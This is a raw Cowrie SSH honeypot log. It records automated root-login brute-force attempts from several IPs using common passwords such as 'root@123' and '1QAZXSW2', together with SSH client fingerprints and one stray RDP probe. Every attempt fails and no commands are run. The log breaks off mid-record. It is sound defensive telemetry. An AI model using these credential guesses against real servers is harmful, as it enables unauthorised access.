{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:59.525540Z","src_ip":"69.49.246.176","session":"17f991931da0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"formula1","message":"login attempt [root/formula1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:59.675647Z","src_ip":"69.49.246.176","session":"17f991931da0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:00.712792Z","src_ip":"69.49.246.176","session":"17f991931da0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":26404,"dst_ip":"159.203.135.109","dst_port":22,"session":"d14ae893ad34","protocol":"ssh","message":"New connection: 38.93.206.2:26404 (159.203.135.109:22) [session: d14ae893ad34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:18.616676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:18.621874Z","src_ip":"38.93.206.2","session":"d14ae893ad34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:18.673076Z","src_ip":"38.93.206.2","session":"d14ae893ad34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"258258","message":"login attempt [root/258258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:18.826700Z","src_ip":"38.93.206.2","session":"d14ae893ad34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.144.95.137","src_port":46420,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f23a778c9b1","protocol":"ssh","message":"New connection: 168.144.95.137:46420 (10.17.0.5:22) [session: 2f23a778c9b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:19.152978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:19.157595Z","src_ip":"168.144.95.137","session":"2f23a778c9b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":49254,"dst_ip":"159.203.135.109","dst_port":22,"session":"2290dd4920de","protocol":"ssh","message":"New connection: 193.32.162.151:49254 (159.203.135.109:22) [session: 2290dd4920de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:19.342363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:19.347049Z","src_ip":"193.32.162.151","session":"2290dd4920de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:19.369426Z","src_ip":"168.144.95.137","session":"2f23a778c9b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:19.452647Z","src_ip":"193.32.162.151","session":"2290dd4920de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:19.769129Z","src_ip":"193.32.162.151","session":"2290dd4920de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:19.883101Z","src_ip":"38.93.206.2","session":"d14ae893ad34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:20.250591Z","src_ip":"168.144.95.137","session":"2f23a778c9b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:20.876739Z","src_ip":"193.32.162.151","session":"2290dd4920de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:21.472003Z","src_ip":"168.144.95.137","session":"2f23a778c9b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.243.24.124","src_port":43370,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6428cf84935","protocol":"ssh","message":"New connection: 103.243.24.124:43370 (10.17.0.5:22) [session: b6428cf84935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:22.390373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:22.395977Z","src_ip":"103.243.24.124","session":"b6428cf84935","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:22.604043Z","src_ip":"103.243.24.124","session":"b6428cf84935","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"reboot","message":"login attempt [root/reboot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:23.022050Z","src_ip":"103.243.24.124","session":"b6428cf84935","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":53310,"dst_ip":"159.203.135.109","dst_port":22,"session":"41d07d2cf1ee","protocol":"ssh","message":"New connection: 152.42.212.128:53310 (159.203.135.109:22) [session: 41d07d2cf1ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:23.990666Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:23.995264Z","src_ip":"152.42.212.128","session":"41d07d2cf1ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:23.998774Z","src_ip":"152.42.212.128","session":"41d07d2cf1ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:24.232074Z","src_ip":"103.243.24.124","session":"b6428cf84935","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.106.207","src_port":34806,"dst_ip":"159.203.135.109","dst_port":22,"session":"f17191fceb2b","protocol":"ssh","message":"New connection: 43.128.106.207:34806 (159.203.135.109:22) [session: f17191fceb2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:30.101311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:30.107688Z","src_ip":"43.128.106.207","session":"f17191fceb2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:30.345469Z","src_ip":"43.128.106.207","session":"f17191fceb2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wolf","message":"login attempt [root/wolf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:31.326829Z","src_ip":"43.128.106.207","session":"f17191fceb2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:32.566190Z","src_ip":"43.128.106.207","session":"f17191fceb2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.104.184","src_port":53726,"dst_ip":"159.203.135.109","dst_port":22,"session":"03f88e80a596","protocol":"ssh","message":"New connection: 43.134.104.184:53726 (159.203.135.109:22) [session: 03f88e80a596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:35.876607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:35.881447Z","src_ip":"43.134.104.184","session":"03f88e80a596","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:36.127147Z","src_ip":"43.134.104.184","session":"03f88e80a596","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZXSW2","message":"login attempt [root/1QAZXSW2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:37.140259Z","src_ip":"43.134.104.184","session":"03f88e80a596","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.42.110","src_port":46104,"dst_ip":"159.203.135.109","dst_port":22,"session":"847041b89cb0","protocol":"ssh","message":"New connection: 217.154.42.110:46104 (159.203.135.109:22) [session: 847041b89cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:37.323522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:37.328095Z","src_ip":"217.154.42.110","session":"847041b89cb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:37.407414Z","src_ip":"217.154.42.110","session":"847041b89cb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vendeg","message":"login attempt [root/vendeg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:37.756640Z","src_ip":"217.154.42.110","session":"847041b89cb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:38.391302Z","src_ip":"43.134.104.184","session":"03f88e80a596","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:38.846586Z","src_ip":"217.154.42.110","session":"847041b89cb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":42186,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff41e1de79d4","protocol":"ssh","message":"New connection: 185.40.30.168:42186 (10.17.0.5:22) [session: ff41e1de79d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:54.929051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:39:54.935327Z","src_ip":"185.40.30.168","session":"ff41e1de79d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs